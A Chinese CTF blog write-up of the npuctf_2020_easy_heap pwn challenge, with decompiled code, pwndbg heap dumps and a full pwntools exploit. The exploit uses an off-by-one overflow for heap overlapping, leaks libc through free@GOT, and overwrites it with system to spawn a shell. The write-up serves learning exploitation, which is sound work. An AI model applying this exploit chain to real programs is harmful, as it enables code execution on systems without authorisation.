Eureka's Studio.

(堆重叠)npuctf_2020_easy_heap

2023/11/01

还是太菜了 不过啥时候mac版本的ida能够更新一下 确实新题得连蒙带猜了

[堆重叠]npuctf_2020_easy_heap

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 edit()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )
{
printf("Content: ", (char *)&v1 + 4, v1);
read_input((void *)heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);
puts("Done!");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v2;
}

这是edit子函数中的代码 与之前的b00ks那题相比 这题的off_by_one就直接多了 直接暴力的多读取一个字符 所以我们在edit时可以造成堆溢出的 不过堆溢出构造堆时 都是调试着构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def create(size,content):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Size of Heap(0x10 or 0x20 only) :')
#题目的create函数有误 这里应该是0x18 or 0x38
sh.sendline(str(size))
sh.recvuntil('Content:')
sh.sendline(content)

def edit(idx,content):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Index :')
sh.sendline(str(idx))
sh.recvuntil('Content:')
sh.sendline(content)

create(0x18,'aaaa')
create(0x18,'bbbb')
create(0x18,'/bin/sh\\x00')

先试一下 不行再调嘛 是因为我的ida版本比较低 所以静态分析时会看的比较难受 就调试着看啦 我们申请了3个结构体 查看堆结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> heap
Allocated chunk | PREV_INUSE <---heap0_node(存储结构体0大小与内容地址指针)
Addr: 0x140f000
Size: 0x21

Allocated chunk | PREV_INUSE <---heap0_content(存储结构体0内容)
Addr: 0x140f020
Size: 0x21

Allocated chunk | PREV_INUSE <---heap1_node(存储结构体0大小与内容地址指针)
Addr: 0x140f040
Size: 0x21

Allocated chunk | PREV_INUSE <---heap1_content(存储结构体0内容) 后同理
Addr: 0x140f060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x140f080
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x140f0a0
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x140f0c0
Size: 0x20f41

pwndbg> x/20gx 0x140f000
0x140f000: 0x0000000000000000 0x0000000000000021
0x140f010: 0x0000000000000018 0x000000000140f030 <--- 对应aaaa内容地址 0x18为长度
0x140f020: 0x0000000000000000 0x0000000000000021
0x140f030: 0x0000000a61616161 0x0000000000000000
0x140f040: 0x0000000000000000 0x0000000000000021
0x140f050: 0x0000000000000018 0x000000000140f070 <--- 对应bbbb内容地址
0x140f060: 0x0000000000000000 0x0000000000000021
0x140f070: 0x0000000a62626262 0x0000000000000000

边调试边看的 确实ida版本低了难受 好在这题代码比较简单 这回我们想到之前edit函数的堆溢出漏洞 如果我们edit(0) 控制长度为0x18 并且却输入0x18个a加上一个\x41 那么就可以将下一个堆块头部长度覆盖为0x41 从而实现overlapping

堆重叠

ctf里这种node和content两个堆的题目 可以采用直接伪造 也可以像这题一样通过overlapping实现二者互换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create(0x18,'aaaa')
create(0x18,'bbbb')
create(0x18,'/bin/sh\\x00')

payload = 'a' * 0x18 + '\\x41'
edit(0,payload)
dele(1)

pwndbg> bins
fastbins
0x20: 0x228d060 ◂— 0x0
0x30: 0x0
0x40: 0x228d040 ◂— 0x0
0x50: 0x0

那我们申请一个比0x40小一点的堆 比如0x38 那么malloc会首先调用0x20这个fastbin 用来创建node 而后content的话再调用0x40的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/40gx 0x2086000
--------------------- heap0------------------------
0x2086000: 0x0000000000000000 0x0000000000000021
0x2086010: 0x0000000000000018 0x0000000002086030
0x2086020: 0x0000000000000000 0x0000000000000021
0x2086030: 0x6161616161616161 0x6161616161616161
--------------------- heap0------------------------
--------------------- heap1------------------------
0x2086040: 0x6161616161616161 0x0000000000000041 <--- heap1_content
0x2086050: 0x6161616161616161 0x6161616161616161
0x2086060: 0x0000000000000000 0x0000000000000021
0x2086070: 0x0000000000000100 0x0000000000602018
--------------------- heap2------------------------
0x2086080: 0x000000000000000a 0x0000000000000021 <--- heap1_node & heap2_node
0x2086090: 0x0000000000000018 0x00000000020860b0
--------------------- heap1------------------------
0x20860a0: 0x0000000000000000 0x0000000000000021 <--- heap2_content
0x20860b0: 0x0068732f6e69622f 0x000000000000000a
--------------------- heap2------------------------
0x20860c0: 0x0000000000000000 0x0000000000020f41
0x20860d0: 0x0000000000000000 0x0000000000000000
0x20860e0: 0x0000000000000000 0x0000000000000000
0x20860f0: 0x0000000000000000 0x0000000000000000

heap1_node与heap2_node完全重叠在了一起 heap1_content也包含住了heap1_node与heap2_node
heap1的node与content相当于反了过来 可以结合fastbin看

太绕了 下次要画图了之前申请的第二个heap组加起来一共就0x40 那我这一申请了0x20+0x40总共0x60 所以其实申请的heap_content是包含了heap_node 相当于重叠在了一起 于是我们如果修改heap_content的话就可以修改到heap_node 进而使用show时打印node就可以获取地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = process('./npuctf_2020_easyheap')
#sh = remote('node4.buuoj.cn',28997)
elf = ELF('./npuctf_2020_easyheap')
libc = ELF('./libc-2.27.so')

def create(size,content):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Size of Heap(0x10 or 0x20 only) :')
sh.sendline(str(size))
sh.recvuntil('Content:')
sh.sendline(content)

def dele(idx):
sh.recvuntil('Your choice :')
sh.sendline('4')
sh.recvuntil('Index :')
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Index :')
sh.sendline(str(idx))
sh.recvuntil('Content:')
sh.sendline(content)

def show(idx):
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Index :')
sh.sendline(str(idx))

gdb.attach(sh)

create(0x18,'aaaa')
create(0x18,'bbbb')
create(0x18,'/bin/sh\\x00')

payload = 'a' * 0x18 + '\\x41'
edit(0,payload)
dele(1)
#pause()

payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
create(0x38,payload)
pause()

show(1)
sh.recvuntil('Content : ')

free_got = u64(sh.recv(6).ljust(8,'\\0'))
print hex(free_got)

libc_base = free_got - libc.sym['free']
system = libc_base + libc.sym['system']

#pause()
print hex(system)
edit(1,p64(system))
#pause()
dele(2)

sh.interactive()

由于此题的保护情况 我们的got表可以进行修改 所以不需要free_hook 并且这种一个node一个content结构的ctf题 一般edit修改的都是node地址所指向的内存地址 于是我们在create的时候放一个got表 edit的时候修改的就是got表内容了

CATALOG
  1. 1. [堆重叠]npuctf_2020_easy_heap
    1. 1.1. 审计
    2. 1.2. 堆重叠